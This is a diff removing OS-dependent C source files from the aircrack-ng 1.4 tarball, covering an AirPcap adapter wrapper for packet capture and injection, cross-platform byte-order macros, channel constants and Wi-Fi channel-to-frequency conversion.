-   * version of the file(s), but you are not obligated to do so.  If you
-   * do not wish to do so, delete this exception statement from your
-   * version.  If you delete this exception statement from all source
-   * files in the program, then also delete it here.
-   *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
-   */
-#ifdef HAVE_AIRPCAP
-
-#include <string.h>
-#include <stdlib.h>
-#include <stdio.h>
-#include <ctype.h>
-#include <windows.h>
-#include <airpcap.h>
-
-#include "osdep.h"
-
-//------------------ PPI ---------------------
-#define PPH_PH_VERSION ((u_int8_t) 0x00)
-#define PPI_FIELD_TYPE_802_11_COMMON ((u_int16_t) 0x02)
-
-typedef struct _PPI_PACKET_HEADER
-{
-	u_int8_t PphVersion;
-	u_int8_t PphFlags;
-	u_int16_t PphLength;
-	u_int32_t PphDlt;
-} PPI_PACKET_HEADER, *PPPI_PACKET_HEADER;
-
-typedef struct _PPI_FIELD_HEADER
-{
-	u_int16_t PfhType;
-	u_int16_t PfhLength;
-} PPI_FIELD_HEADER, *PPPI_FIELD_HEADER;
-
-typedef struct _PPI_FIELD_802_11_COMMON
-{
-	u_int64_t TsfTimer;
-	u_int16_t Flags;
-	u_int16_t Rate;
-	u_int16_t ChannelFrequency;
-	u_int16_t ChannelFlags;
-	u_int8_t FhssHopset;
-	u_int8_t FhssPattern;
-	int8_t DbmAntSignal;
-	int8_t DbmAntNoise;
-} PPI_FIELD_802_11_COMMON, *PPPI_FIELD_802_11_COMMON;
-
-#define DEVICE_PREFIX "\\\\.\\"
-#define DEVICE_COMMON_PART "airpcap"
-
-PAirpcapHandle airpcap_handle;
-
-/**
- * Check if the device is an Airpcap device
- * @param iface Interface name
- * @return 1 if it is an Airpcap device, 0 if not
- */
-int isAirpcapDevice(const char * iface)
-{
-	char * pos;
-	int len;
-
-	pos = strstr(iface, DEVICE_COMMON_PART);
-
-	// Check if it contains "airpcap"
-	if (!pos) return 0;
-
-	if (pos != iface)
-	{
-		// Check if it begins with '\\.\'
-		if (strstr(iface, AIRPCAP_DEVICE_NAME_PREFIX) != iface) return 0;
-	}
-
-	len = strlen(iface);
-
-	// Checking that it contains 2 figures at the end.
-	// No need to check for length, it was already done by the first check
-	if (!(isdigit((int) iface[len - 1])) || !(isdigit((int) iface[len - 2])))
-		return 0;
-
-	return 1;
-}
-
-/**
- * Parse information from a PPI packet (will be used later).
- * @param p packet
- * @param caplen Length of the packet
- * @param hdrlen Length of the header
- * @param power pointer that will contains the power of the packet
- * @return 0 if successful decoding, 1 if it failed to decode
- */
-int ppi_decode(const u_char * p, int caplen, int * hdrlen, int * power)
-{
-	PPPI_PACKET_HEADER pPpiPacketHeader;
-	PPPI_FIELD_HEADER pFieldHeader;
-	ULONG position = 0;
-
-	// Sanity checks
-	if (caplen < (int) sizeof(*pPpiPacketHeader))
-	{
-		// Packet smaller than the PPI fixed header
-		return (1);
-	}
-
-	pPpiPacketHeader = (PPPI_PACKET_HEADER) p;
-
-	*hdrlen = pPpiPacketHeader->PphLength;
-
-	if (caplen < *hdrlen)
-	{
-		// Packet smaller than the PPI fixed header
-		return (1);
-	}
-
-	position = sizeof(*pPpiPacketHeader);
-
-	if (pPpiPacketHeader->PphVersion != PPH_PH_VERSION)
-	{
-		fprintf(stderr,
-				"Unknown PPI packet header version (%u)\n",
-				pPpiPacketHeader->PphVersion);
-		return (1);
-	}
-
-	do
-	{
-		// now we suppose to have an 802.11-Common header
-		if (*hdrlen < (int) (sizeof(*pFieldHeader) + position))
-		{
-			break;
-		}
-
-		pFieldHeader = (PPPI_FIELD_HEADER)(p + position);
-		position += sizeof(*pFieldHeader);
-
-		switch (pFieldHeader->PfhType)
-		{
-			case PPI_FIELD_TYPE_802_11_COMMON:
-				if (pFieldHeader->PfhLength != sizeof(PPI_FIELD_802_11_COMMON)
-					|| caplen - position < sizeof(PPI_FIELD_802_11_COMMON))
-				{
-					// the header is bogus, just skip it
-					fprintf(stderr,
-							"Bogus 802.11-Common Field. Skipping it.\n");
-				}
-				else
-				{
-					PPPI_FIELD_802_11_COMMON pField
-						= (PPPI_FIELD_802_11_COMMON)(p + position);
-
-					if (pField->DbmAntSignal != -128)
-					{
-						*power = (int) pField->DbmAntSignal;
-					}
-					else
-					{
-						*power = 0;
-					}
-				}
-				break;
-
-			default:
-				// we do not know this field. Just print type and length and
-				// skip
-				break;
-		}
-
-		position += pFieldHeader->PfhLength;
-	} while (TRUE);
-
-	return (0);
-}
-
-/**
- * Set MAC Address of the device
- * @param mac MAC Address
- * @return 0 (successful)
- */
-int airpcap_set_mac(void * mac)
-{
-	if (mac)
-	{
-	}
-	return 0;
-}
-
-/**
- * Close device
- */
-void airpcap_close(void)
-{
-	// By default, when plugged in, the adapter is set in monitor mode;
-	// Application may assume it's already in monitor mode and forget to set it
-	// So, do not remove monitor mode.
-	if (airpcap_handle != NULL)
-	{
-		AirpcapClose(airpcap_handle);
-		airpcap_handle = NULL;
-	}
-}
-
-/**
- * Get MAC Address of the device (not yet implemented)
- * @param mac It will contain the mac address
- * @return 0 (successful)
- */
-int airpcap_get_mac(void * mac)
-{
-	// Don't use the function from Airpcap
-	if (mac)
-	{
-	}
-
-	return 0;
-}
-
-/**
- * Capture one packet
- * @param buf Buffer for the packet
- * @param len Length of the buffer
- * @param ri Receive information
- * @return -1 if failure or the number of bytes received
- */
-int airpcap_sniff(void * buf, int len, struct rx_info * ri)
-{
-	// Use PPI headers to obtain the different information for ri
-	// Use AirpcapConvertFrequencyToChannel() to get channel
-	// Add an option to give frequency instead of channel
-	UINT BytesReceived = 0;
-
-	if (ri)
-	{
-	}
-	// Wait for the next packet
-	// Maybe add an event packets to read
-	// WaitForSingleObject(ReadEvent, INFINITE);
-
-	// Read a packet
-	if (AirpcapRead(airpcap_handle, buf, len, &BytesReceived))
-		return (int) BytesReceived;
-
-	return -1;
-}
-
-/**
- * Inject one packet
- * @param buf Buffer for the packet
- * @param len Length of the buffer
- * @param ti Transmit information
- * @return -1 if failure or the number of bytes sent
- */
-int airpcap_inject(void * buf, int len, struct tx_info * ti)
-{
-	if (ti)
-	{
-	}
-	if (AirpcapWrite(airpcap_handle, buf, len) != 1) return -1;
-
-	return len;
-}
-
-/**
- * Print the error message
- * @param err Contains the error message and a %s in order to show the Airpcap
- * error
- * @param retValue Value returned by the function
- * @return retValue
- */
-int printErrorCloseAndReturn(const char * err, int retValue)
-{
-	if (err && airpcap_handle)
-	{
-		if (strlen(err))
-		{
-			if (airpcap_handle)
-				fprintf(stderr, err, AirpcapGetLastError(airpcap_handle));
-			else
-				fprintf(stderr, "%s", err);
-		}
-	}
-
-	airpcap_close();
-
-	return retValue;
-}
-
-/**
- * Initialize the device
- * @param param Parameters for the initialization
- * @return 0 if successful, -1 in case of failure
- */
-int airpcap_init(char * param)
-{
-	// Later: if several interfaces are given, aggregate them.
-
-	char * iface;
-	char errbuf[AIRPCAP_ERRBUF_SIZE];
-
-	iface = (char *) calloc(1, strlen(param) + 100);
-
-	if (param)
-	{
-		// if it's empty, use the default adapter
-		if (strlen(param) > 0)
-		{
-			if (strstr(param, DEVICE_PREFIX) == NULL)
-			{
-				// Not found, add it
-
-				strcpy(iface, DEVICE_PREFIX);
-				strcat(iface, param);
-			}
-			else
-			{
-				// Already contains the adapter header
-				strcpy(iface, param);
-			}
-		}
-	}
-
-	airpcap_handle = AirpcapOpen(iface, errbuf);
-
-	if (airpcap_handle == NULL)
-	{
-		fprintf(stderr,
-				"This adapter doesn't have wireless extensions. Quitting\n");
-		// pcap_close( winpcap_adapter );
-		return (-1);
-	}
-
-	/* Tell the adapter that the packets we'll send and receive don't include
-	 * the FCS */
-	if (!AirpcapSetFcsPresence(airpcap_handle, FALSE))
-		return printErrorCloseAndReturn("Error setting FCS presence: %s\n", -1);
-
-	/* Set the link layer to bare 802.11 */
-	if (!AirpcapSetLinkType(airpcap_handle, AIRPCAP_LT_802_11))
-		return printErrorCloseAndReturn("Error setting the link type: %s\n",
-										-1);
-
-	/* Accept correct frames only */
-	if (!AirpcapSetFcsValidation(airpcap_handle,
-								 AIRPCAP_VT_ACCEPT_CORRECT_FRAMES))
-		return printErrorCloseAndReturn("Error setting FCS validation: %s\n",
-										-1);
-
-	/* Set a low mintocopy for better responsiveness */
-	if (!AirpcapSetMinToCopy(airpcap_handle, 1))
-		return printErrorCloseAndReturn("Error setting MinToCopy: %s\n", -1);
-
-	return 0;
-}
-
-/**
- * Set device channel
- * @param chan Channel
- * @return 0 if successful, -1 if it failed
- */
-int airpcap_set_chan(int chan)
-{
-	// Make sure a valid channel is given
-	if (chan <= 0) return -1;
-
-	if (!AirpcapSetDeviceChannel(airpcap_handle, chan))
-	{
-		printf("Error setting the channel to %d: %s\n",
-			   chan,
-			   AirpcapGetLastError(airpcap_handle));
-		return -1;
-	}
-
-	return 0;
-}
-
-#endif

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/byteorder.h Deleted

@@ -1,446 +0,0 @@
-/*
- *  Compatibility header
- *
- *  Copyright (C) 2009-2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
- *
- *
- *  In addition, as a special exception, the copyright holders give
- *  permission to link the code of portions of this program with the
- *  OpenSSL library under certain conditions as described in each
- *  individual source file, and distribute linked combinations
- *  including the two.
- *  You must obey the GNU General Public License in all respects
- *  for all of the code used other than OpenSSL. *  If you modify
- *  file(s) with this exception, you may extend this exception to your
- *  version of the file(s), but you are not obligated to do so. *  If you
- *  do not wish to do so, delete this exception statement from your
- *  version. *  If you delete this exception statement from all source
- *  files in the program, then also delete it here.
- */
-
-#ifndef _AIRCRACK_NG_BYTEORDER_H_
-#define _AIRCRACK_NG_BYTEORDER_H_
-
-#define ___my_swab16(x)                                                        \
-	((u_int16_t)((((u_int16_t)(x) & (u_int16_t) 0x00ffU) << 8)                 \
-				 | (((u_int16_t)(x) & (u_int16_t) 0xff00U) >> 8)))
-#define ___my_swab32(x)                                                        \
-	((u_int32_t)((((u_int32_t)(x) & (u_int32_t) 0x000000ffUL) << 24)           \
-				 | (((u_int32_t)(x) & (u_int32_t) 0x0000ff00UL) << 8)          \
-				 | (((u_int32_t)(x) & (u_int32_t) 0x00ff0000UL) >> 8)          \
-				 | (((u_int32_t)(x) & (u_int32_t) 0xff000000UL) >> 24)))
-#define ___my_swab64(x)                                                        \
-	((u_int64_t)(                                                              \
-		(u_int64_t)(((u_int64_t)(x) & (u_int64_t) 0x00000000000000ffULL)       \
-					<< 56)                                                     \
-		| (u_int64_t)(((u_int64_t)(x) & (u_int64_t) 0x000000000000ff00ULL)     \
-					  << 40)                                                   \
-		| (u_int64_t)(((u_int64_t)(x) & (u_int64_t) 0x0000000000ff0000ULL)     \
-					  << 24)                                                   \
-		| (u_int64_t)(((u_int64_t)(x) & (u_int64_t) 0x00000000ff000000ULL)     \
-					  << 8)                                                    \
-		| (u_int64_t)(((u_int64_t)(x) & (u_int64_t) 0x000000ff00000000ULL)     \
-					  >> 8)                                                    \
-		| (u_int64_t)(((u_int64_t)(x) & (u_int64_t) 0x0000ff0000000000ULL)     \
-					  >> 24)                                                   \
-		| (u_int64_t)(((u_int64_t)(x) & (u_int64_t) 0x00ff000000000000ULL)     \
-					  >> 40)                                                   \
-		| (u_int64_t)(((u_int64_t)(x) & (u_int64_t) 0xff00000000000000ULL)     \
-					  >> 56)))
-
-/*
-	 * Linux
-	 */
-#if defined(linux) || defined(Linux) || defined(__linux__) || defined(__linux) \
-	|| defined(__gnu_linux__)
-#include <endian.h>
-#include <unistd.h>
-#include <stdint.h>
-
-#ifndef __int8_t_defined
-typedef uint64_t u_int64_t;
-typedef uint32_t u_int32_t;
-typedef uint16_t u_int16_t;
-typedef uint8_t u_int8_t;
-#endif
-
-#endif
-
-/*
-	 * Cygwin
-	 */
-#if defined(__CYGWIN32__)
-#include <asm/byteorder.h>
-#include <unistd.h>
-
-#define __be64_to_cpu(x) ___my_swab64(x)
-#define __be32_to_cpu(x) ___my_swab32(x)
-#define __be16_to_cpu(x) ___my_swab16(x)
-#define __cpu_to_be64(x) ___my_swab64(x)
-#define __cpu_to_be32(x) ___my_swab32(x)
-#define __cpu_to_be16(x) ___my_swab16(x)
-#define __le64_to_cpu(x) (x)
-#define __le32_to_cpu(x) (x)
-#define __le16_to_cpu(x) (x)
-#define __cpu_to_le64(x) (x)
-#define __cpu_to_le32(x) (x)
-#define __cpu_to_le16(x) (x)
-
-#define AIRCRACK_NG_BYTE_ORDER_DEFINED
-
-#endif
-
-/*
-	 * Windows (DDK)
-	 */
-#if defined(__WIN__)
-
-#include <io.h>
-
-#define __be64_to_cpu(x) ___my_swab64(x)
-#define __be32_to_cpu(x) ___my_swab32(x)
-#define __be16_to_cpu(x) ___my_swab16(x)
-#define __cpu_to_be64(x) ___my_swab64(x)
-#define __cpu_to_be32(x) ___my_swab32(x)
-#define __cpu_to_be16(x) ___my_swab16(x)
-#define __le64_to_cpu(x) (x)
-#define __le32_to_cpu(x) (x)
-#define __le16_to_cpu(x) (x)
-#define __cpu_to_le64(x) (x)
-#define __cpu_to_le32(x) (x)
-#define __cpu_to_le16(x) (x)
-
-#define AIRCRACK_NG_BYTE_ORDER_DEFINED
-
-#endif
-
-/*
-	 * MAC (Darwin)
-	 */
-#if defined(__APPLE_CC__)
-#if defined(__x86_64__) && defined(__APPLE__)
-
-#include <libkern/OSByteOrder.h>
-
-#define __swab64(x) (unsigned long long) OSSwapInt64((uint64_t) x)
-#define __swab32(x) (unsigned long) OSSwapInt32((uint32_t) x)
-#define __swab16(x) (unsigned short) OSSwapInt16((uint16_t) x)
-#define __be64_to_cpu(x) (unsigned long long) OSSwapBigToHostInt64((uint64_t) x)
-#define __be32_to_cpu(x) (unsigned long) OSSwapBigToHostInt32((uint32_t) x)
-#define __be16_to_cpu(x) (unsigned short) OSSwapBigToHostInt16((uint16_t) x)
-#define __le64_to_cpu(x)                                                       \
-	(unsigned long long) OSSwapLittleToHostInt64((uint64_t) x)
-#define __le32_to_cpu(x) (unsigned long) OSSwapLittleToHostInt32((uint32_t) x)
-#define __le16_to_cpu(x) (unsigned short) OSSwapLittleToHostInt16((uint16_t) x)
-#define __cpu_to_be64(x) (unsigned long long) OSSwapHostToBigInt64((uint64_t) x)
-#define __cpu_to_be32(x) (unsigned long) OSSwapHostToBigInt32((uint32_t) x)
-#define __cpu_to_be16(x) (unsigned short) OSSwapHostToBigInt16((uint16_t) x)
-#define __cpu_to_le64(x)                                                       \
-	(unsigned long long) OSSwapHostToLittleInt64((uint64_t) x)
-#define __cpu_to_le32(x) (unsigned long) OSSwapHostToLittleInt32((uint32_t) x)
-#define __cpu_to_le16(x) (unsigned short) OSSwapHostToLittleInt16((uint16_t) x)
-
-#else
-
-#include <architecture/byte_order.h>
-
-#define __swab64(x) NXSwapLongLong(x)
-#define __swab32(x) NXSwapLong(x)
-#define __swab16(x) NXSwapShort(x)
-#define __be64_to_cpu(x) NXSwapBigLongLongToHost(x)
-#define __be32_to_cpu(x) NXSwapBigLongToHost(x)
-#define __be16_to_cpu(x) NXSwapBigShortToHost(x)
-#define __le64_to_cpu(x) NXSwapLittleLongLongToHost(x)
-#define __le32_to_cpu(x) NXSwapLittleLongToHost(x)
-#define __le16_to_cpu(x) NXSwapLittleShortToHost(x)
-#define __cpu_to_be64(x) NXSwapHostLongLongToBig(x)
-#define __cpu_to_be32(x) NXSwapHostLongToBig(x)
-#define __cpu_to_be16(x) NXSwapHostShortToBig(x)
-#define __cpu_to_le64(x) NXSwapHostLongLongToLittle(x)
-#define __cpu_to_le32(x) NXSwapHostLongToLittle(x)
-#define __cpu_to_le16(x) NXSwapHostShortToLittle(x)
-
-#endif
-
-#define __LITTLE_ENDIAN 1234
-#define __BIG_ENDIAN 4321
-#define __PDP_ENDIAN 3412
-#define __BYTE_ORDER __BIG_ENDIAN
-
-#define AIRCRACK_NG_BYTE_ORDER_DEFINED
-
-#endif
-
-/*
-	 * Solaris
-	 * -------
-	 */
-#if defined(__SVR4) && defined(__sun__)
-#include <sys/byteorder.h>
-#include <sys/types.h>
-#include <unistd.h>
-
-typedef uint64_t u_int64_t;
-typedef uint32_t u_int32_t;
-typedef uint16_t u_int16_t;
-typedef uint8_t u_int8_t;
-
-#if defined(__sparc__)
-#define __be64_to_cpu(x) (x)
-#define __be32_to_cpu(x) (x)
-#define __be16_to_cpu(x) (x)
-#define __cpu_to_be64(x) (x)
-#define __cpu_to_be32(x) (x)
-#define __cpu_to_be16(x) (x)
-#define __le64_to_cpu(x) ___my_swab64(x)
-#define __le32_to_cpu(x) ___my_swab32(x)
-#define __le16_to_cpu(x) ___my_swab16(x)
-#define __cpu_to_le64(x) ___my_swab64(x)
-#define __cpu_to_le32(x) ___my_swab32(x)
-#define __cpu_to_le16(x) ___my_swab16(x)
-
-#define AIRCRACK_NG_BYTE_ORDER_DEFINED
-#else
-#define AIRCRACK_NG_BYTE_ORDER 1
-#define LITTLE_ENDIAN 1
-#endif
-#endif
-
-/*
-	 * Custom stuff
-	 */
-#if defined(__MACH__) && !defined(__APPLE_CC__) && !defined(__GNU__)
-#include <libkern/OSByteOrder.h>
-#define __cpu_to_be64(x) = OSSwapHostToBigInt64(x)
-#define __cpu_to_be32(x) = OSSwapHostToBigInt32(x)
-
-#define AIRCRACK_NG_BYTE_ORDER_DEFINED
-#endif
-
-// FreeBSD
-#ifdef __FreeBSD__
-#undef ushort
-#undef uint
-#include <sys/types.h>
-#endif
-
-// XXX: Is there anything to include on OpenBSD/NetBSD/DragonFlyBSD/...?
-
-// XXX: Mac: Check
-// http://www.opensource.apple.com/source/CF/CF-476.18/CFByteOrder.h
-//           http://developer.apple.com/DOCUMENTATION/CoreFoundation/Reference/CFByteOrderUtils/Reference/reference.html
-//           Write to apple to ask what should be used.
-
-#if defined(LITTLE_ENDIAN)
-#define AIRCRACK_NG_LITTLE_ENDIAN LITTLE_ENDIAN
-#elif defined(__LITTLE_ENDIAN)
-#define AIRCRACK_NG_LITTLE_ENDIAN __LITTLE_ENDIAN
-#elif defined(_LITTLE_ENDIAN)
-#define AIRCRACK_NG_LITTLE_ENDIAN _LITTLE_ENDIAN
-#endif
-
-#if defined(BIG_ENDIAN)
-#define AIRCRACK_NG_BIG_ENDIAN BIG_ENDIAN
-#elif defined(__BIG_ENDIAN)
-#define AIRCRACK_NG_BIG_ENDIAN __BIG_ENDIAN
-#elif defined(_BIG_ENDIAN)
-#define AIRCRACK_NG_BIG_ENDIAN _BIG_ENDIAN
-#endif
-
-#if !defined(AIRCRACK_NG_LITTLE_ENDIAN) && !defined(AIRCRACK_NG_BIG_ENDIAN)
-#error Impossible to determine endianness (Little or Big endian), please contact the author.
-#endif
-
-#if defined(BYTE_ORDER)
-#if (BYTE_ORDER == AIRCRACK_NG_LITTLE_ENDIAN)
-#define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_LITTLE_ENDIAN
-#elif (BYTE_ORDER == AIRCRACK_NG_BIG_ENDIAN)
-#define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_BIG_ENDIAN
-#endif
-#elif defined(__BYTE_ORDER)
-#if (__BYTE_ORDER == AIRCRACK_NG_LITTLE_ENDIAN)
-#define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_LITTLE_ENDIAN
-#elif (__BYTE_ORDER == AIRCRACK_NG_BIG_ENDIAN)
-#define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_BIG_ENDIAN
-#endif
-#elif defined(_BYTE_ORDER)
-#if (_BYTE_ORDER == AIRCRACK_NG_LITTLE_ENDIAN)
-#define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_LITTLE_ENDIAN
-#elif (_BYTE_ORDER == AIRCRACK_NG_BIG_ENDIAN)
-#define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_BIG_ENDIAN
-#endif
-#endif
-
-#ifndef AIRCRACK_NG_BYTE_ORDER
-#error Impossible to determine endianness (Little or Big endian), please contact the author.
-#endif
-
-#if (AIRCRACK_NG_BYTE_ORDER == AIRCRACK_NG_LITTLE_ENDIAN)
-
-#ifndef AIRCRACK_NG_BYTE_ORDER_DEFINED
-#define __be64_to_cpu(x) ___my_swab64(x)
-#define __be32_to_cpu(x) ___my_swab32(x)
-#define __be16_to_cpu(x) ___my_swab16(x)
-#define __cpu_to_be64(x) ___my_swab64(x)
-#define __cpu_to_be32(x) ___my_swab32(x)
-#define __cpu_to_be16(x) ___my_swab16(x)
-#define __le64_to_cpu(x) (x)
-#define __le32_to_cpu(x) (x)
-#define __le16_to_cpu(x) (x)
-#define __cpu_to_le64(x) (x)
-#define __cpu_to_le32(x) (x)
-#define __cpu_to_le16(x) (x)
-#endif
-
-#ifndef htobe16
-#define htobe16 ___my_swab16
-#endif
-#ifndef htobe32
-#define htobe32 ___my_swab32
-#endif
-#ifndef htobe64
-#define htobe64 ___my_swab64
-#endif
-#ifndef betoh16
-#define betoh16 ___my_swab16
-#endif
-#ifndef betoh32
-#define betoh32 ___my_swab32
-#endif
-#ifndef betoh64
-#define betoh64 ___my_swab64
-#endif
-
-#ifndef htole16
-#define htole16(x) (x)
-#endif
-#ifndef htole32
-#define htole32(x) (x)
-#endif
-#ifndef htole64
-#define htole64(x) (x)
-#endif
-#ifndef letoh16
-#define letoh16(x) (x)
-#endif
-#ifndef letoh32
-#define letoh32(x) (x)
-#endif
-#ifndef letoh64
-#define letoh64(x) (x)
-#endif
-
-#endif
-
-#if (AIRCRACK_NG_BYTE_ORDER == AIRCRACK_NG_BIG_ENDIAN)
-
-#ifndef AIRCRACK_NG_BYTE_ORDER_DEFINED
-#define __be64_to_cpu(x) (x)
-#define __be32_to_cpu(x) (x)
-#define __be16_to_cpu(x) (x)
-#define __cpu_to_be64(x) (x)
-#define __cpu_to_be32(x) (x)
-#define __cpu_to_be16(x) (x)
-#define __le64_to_cpu(x) ___my_swab64(x)
-#define __le32_to_cpu(x) ___my_swab32(x)
-#define __le16_to_cpu(x) ___my_swab16(x)
-#define __cpu_to_le64(x) ___my_swab64(x)
-#define __cpu_to_le32(x) ___my_swab32(x)
-#define __cpu_to_le16(x) ___my_swab16(x)
-#endif
-
-#ifndef htobe16
-#define htobe16(x) (x)
-#endif
-#ifndef htobe32
-#define htobe32(x) (x)
-#endif
-#ifndef htobe64
-#define htobe64(x) (x)
-#endif
-#ifndef betoh16
-#define betoh16(x) (x)
-#endif
-#ifndef betoh32
-#define betoh32(x) (x)
-#endif
-#ifndef betoh64
-#define betoh64(x) (x)
-#endif
-
-#ifndef htole16
-#define htole16 ___my_swab16
-#endif
-#ifndef htole32
-#define htole32 ___my_swab32
-#endif
-#ifndef htole64
-#define htole64 ___my_swab64
-#endif
-#ifndef letoh16
-#define letoh16 ___my_swab16
-#endif
-#ifndef letoh32
-#define letoh32 ___my_swab32
-#endif
-#ifndef letoh64
-#define letoh64 ___my_swab64
-#endif
-
-#endif
-
-// Common defines
-#define cpu_to_le64 __cpu_to_le64
-#define le64_to_cpu __le64_to_cpu
-#define cpu_to_le32 __cpu_to_le32
-#define le32_to_cpu __le32_to_cpu
-#define cpu_to_le16 __cpu_to_le16
-#define le16_to_cpu __le16_to_cpu
-#define cpu_to_be64 __cpu_to_be64
-#define be64_to_cpu __be64_to_cpu
-#define cpu_to_be32 __cpu_to_be32
-#define be32_to_cpu __be32_to_cpu
-#define cpu_to_be16 __cpu_to_be16
-#define be16_to_cpu __be16_to_cpu
-
-#ifndef le16toh
-#define le16toh le16_to_cpu
-#endif
-#ifndef be16toh
-#define be16toh be16_to_cpu
-#endif
-#ifndef le32toh
-#define le32toh le32_to_cpu
-#endif
-#ifndef be32toh
-#define be32toh be32_to_cpu
-#endif
-
-#ifndef htons
-#define htons cpu_to_be16
-#endif
-#ifndef htonl
-#define htonl cpu_to_be32
-#endif
-#ifndef ntohs
-#define ntohs be16_to_cpu
-#endif
-#ifndef ntohl
-#define ntohl be32_to_cpu
-#endif
-
-#endif

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/channel.h Deleted

@@ -1,29 +0,0 @@
-/*
- *  OS dependent APIs for Linux
- *
- *  Copyright (C) 2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
- */
-
-#ifndef OSDEP_CHANNELS_H
-#define OSDEP_CHANNELS_H
-
-#define CHANNEL_NO_HT 0
-#define CHANNEL_HT20 20
-#define CHANNEL_HT40_PLUS 39
-#define CHANNEL_HT40_MINUS 41
-
-#endif // OSDEP_CHANNELS_H

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/common.c Deleted

@@ -1,76 +0,0 @@
-/*
-   *  Copyright (c) 2008-2018, Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
-   *
-   *  Common OSdep stuff
-   *
-   *  This program is free software; you can redistribute it and/or modify
-   *  it under the terms of the GNU General Public License as published by
-   *  the Free Software Foundation; either version 2 of the License, or
-   *  (at your option) any later version.
-   *
-   *  This program is distributed in the hope that it will be useful,
-   *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-   *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-   *  GNU General Public License for more details.
-   *
-   *  You should have received a copy of the GNU General Public License
-   *  along with this program; if not, write to the Free Software
-   *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
-   */
-#include <stdlib.h>
-#include <stdio.h>
-#include <unistd.h>
-#include <string.h>
-#include <stdlib.h>
-#include "common.h"
-
-/**
- * Return the frequency in Mhz from a channel number
- */
-EXPORT int getFrequencyFromChannel(int channel)
-{
-	static int frequencies[] = {
-		-1, // No channel 0
-		2412, 2417, 2422, 2427, 2432, 2437, 2442, 2447, 2452, 2457, 2462, 2467,
-		2472, 2484, -1,   -1,   -1,   -1,   -1,   -1,   -1,   -1,   -1,   -1,
-		-1,   -1,   -1,   -1,   -1,   -1,   -1,   -1,
-		-1, // Nothing from channel 15 to 34 (exclusive)
-		5170, 5175, 5180, 5185, 5190, 5195, 5200, 5205, 5210, 5215, 5220, 5225,
-		5230, 5235, 5240, 5245, 5250, 5255, 5260, 5265, 5270, 5275, 5280, 5285,
-		5290, 5295, 5300, 5305, 5310, 5315, 5320, 5325, 5330, 5335, 5340, 5345,
-		5350, 5355, 5360, 5365, 5370, 5375, 5380, 5385, 5390, 5395, 5400, 5405,
-		5410, 5415, 5420, 5425, 5430, 5435, 5440, 5445, 5450, 5455, 5460, 5465,
-		5470, 5475, 5480, 5485, 5490, 5495, 5500, 5505, 5510, 5515, 5520, 5525,
-		5530, 5535, 5540, 5545, 5550, 5555, 5560, 5565, 5570, 5575, 5580, 5585,
-		5590, 5595, 5600, 5605, 5610, 5615, 5620, 5625, 5630, 5635, 5640, 5645,
-		5650, 5655, 5660, 5665, 5670, 5675, 5680, 5685, 5690, 5695, 5700, 5705,
-		5710, 5715, 5720, 5725, 5730, 5735, 5740, 5745, 5750, 5755, 5760, 5765,
-		5770, 5775, 5780, 5785, 5790, 5795, 5800, 5805, 5810, 5815, 5820, 5825,
-		5830, 5835, 5840, 5845, 5850, 5855, 5860, 5865, 5870, 5875, 5880, 5885,
-		5890, 5895, 5900, 5905, 5910, 5915, 5920, 5925, 5930, 5935, 5940, 5945,
-		5950, 5955, 5960, 5965, 5970, 5975, 5980, 5985, 5990, 5995, 6000, 6005,
-		6010, 6015, 6020, 6025, 6030, 6035, 6040, 6045, 6050, 6055, 6060, 6065,
-		6070, 6075, 6080, 6085, 6090, 6095, 6100};
-
-	return (channel > 0 && channel <= HIGHEST_CHANNEL)
-			   ? frequencies[channel]
-			   : (channel >= LOWEST_CHANNEL && channel <= -4)
-					 ? 5000 - (channel * 5)
-					 : -1;
-}
-
-/**
- * Return the channel from the frequency (in Mhz)
- */
-EXPORT int getChannelFromFrequency(int frequency)
-{
-	if (frequency >= 2412 && frequency <= 2472)
-		return (frequency - 2407) / 5;
-	else if (frequency == 2484)
-		return 14;
-
-	else if (frequency >= 4920 && frequency <= 6100)
-		return (frequency - 5000) / 5;
-	else
-		return -1;
-}

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/common.h Deleted

@@ -1,63 +0,0 @@
-/*
- * Copyright (c) 2010-2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful, but
- * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
- * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
- * NON-INFRINGEMENT.  See the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
